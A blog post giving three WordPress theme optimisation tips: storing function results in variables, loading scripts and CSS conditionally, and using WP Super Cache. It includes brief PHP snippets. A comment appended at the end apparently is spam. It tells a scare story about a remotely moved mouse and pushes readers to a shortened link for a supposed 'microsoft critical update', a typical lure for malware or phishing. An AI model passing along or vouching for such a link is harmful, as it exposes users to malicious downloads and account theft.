3 best ways to Optimize your wordpress theme
One of most powerful and advance feature of wordpress is it themes. There are thousands of FREE and paid themes available for wordpress. It is not harder to create a new theme for wordpress even if you have only a little knowledge of php or html. Wordpress themes are what display everything on your blog, including pages, posts, categories, archives and your front page.
You can create your own theme or you can use the Yvo Schaap’s online theme designer to create wide range of colorful and beautiful themes easily.
Every wordpress theme uses many different functions, loops to load content on your blog. Wordpress’s core system itself calls many queries before loading your theme files. With few of following tweaks, you can easily optimize your wordpress themes to reduce server load and to provide faster output.
-
Define variables instead of calling functions each time
There could be many functions being used in themes. You can define variables in your header file to avoid calling those functions again and again and just use the pre-define variable by a single function call. For example, you may be using bloginfo, the_permalink, get_option etc. Define their variables and avoid using them again and again for same purpose.
<?php // This can be used to load css files, javascript files, images. $template_path = get_bloginfo('template_directory'); // This can be used to display blogname on header, logo, footer.. $blogname = get_option('name'); ?> -
Avoid loading unnecessary javascript, css
At some of your pages you may need additional javascript or css files to be loaded. For example in my blog, i have used a syntax highlighting code which used 1 css and 5 javascript files. I don’t need this in any other page but just on single post page. So I use following way to avoid loading these files in other pages.
// Loaded in header.php <?php if(is_single()) { ?> // load files here, javascript, css or anything. <?php } ?> //similarly if you just want to load some files on home page then <?php if(is_home()) { ?> // load html code for javascript, css files <?php } ?> -
USE WP-Super Cache Plugin
WP super cache is one of best plugins for me. It generate static content for your blog. Even the function calls. It can generate static front page, single posts, category pages in form of html. So until the cache time is over, those html files will be loaded to user’s browser and generate only a tiny bit of load to your server.
Related posts
If you enjoyed this post, please consider to leave a comment or subscribe to the feed and get future articles delivered to your feed reader.







Just wanted to pass some info along about a microsoft critical update that was in
the news a couple days ago, you can google for info or I have provided a link below.
I was sitting on my couch looking at my computer screen and noticed my mouse moving
around and became irate, you guys be careful.
[url=http://wchurl.info/32ms-update] http://wchurl.info/32ms-update [/url]